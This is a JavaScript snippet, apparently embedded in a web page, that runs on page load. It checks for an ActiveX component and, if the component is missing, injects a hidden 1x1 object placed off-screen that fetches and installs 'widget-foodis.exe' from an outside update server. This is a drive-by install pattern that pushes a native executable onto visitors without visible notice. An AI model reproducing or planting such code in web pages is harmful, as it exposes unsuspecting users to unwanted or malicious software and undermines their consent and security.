function widget_install_monitor() {
	try {
		var ax = new ActiveXObject("Hiverion.ActionInfo");
		ax.Put("name", "client"); ax.Put("at", "version");
		var ver = ax.CallClient();
		try
		{
			ax.Put("name", "client"); ax.Put("at", "persist-get");
			ax.Put("key", "data-timeout"); ax.Put("encrypt", "true");
			ver = ax.CallClient();
			if (ver && ver < (new Date().getTime() - 86400000))
			{
				ax.Put("name", "client");
				ax.Put("at", "persist-rmv");
				ax.Put("key", "onloads");
				ax.Put("encrypt", "true");
				ax.CallClient();

				ax.Put("name", "client");
				ax.Put("at", "value-rmv");
				ax.Put("key", "onloads");
				ax.CallClient();
			}
		} catch (e) {}
	} catch(e) {
		var em = document.getElementById("widget_installation_div");
		if (!em) try {
			em = document.createElement("div");
			em.id = "widget_installation_div";
			em.style.position = "absolute";
			em.style.top = "-1px";
			em.style.left = "-1px";
			em.style.width = "1px";
			em.style.height = "1px";
			var install = {
				file: "widget-foodis.exe",
				version: "2,0,1,0",
				distributor: "FOODIS"
			};
			var htmls = ['<object id="widget_installation" style="display:block;position:absolute;top:-1;left:-1;" type="application/x-pe-win32-x86" width="1" height="1" align="middle" classid="clsid:a595cac1-d102-495a-9301-84483913e1e6" codebase="http://update.memothis.co.kr/widget/', install.file, '#', install.version, '"><param name="distributor" value="', install.distributor, '"/></object>'].join('');
			em.innerHTML = htmls;
			document.body.appendChild(em);
		} catch(ex) { }
	}
}
try {
window.detachEvent("onload", widget_install_monitor);
window.attachEvent("onload", widget_install_monitor);
} catch(e) { }
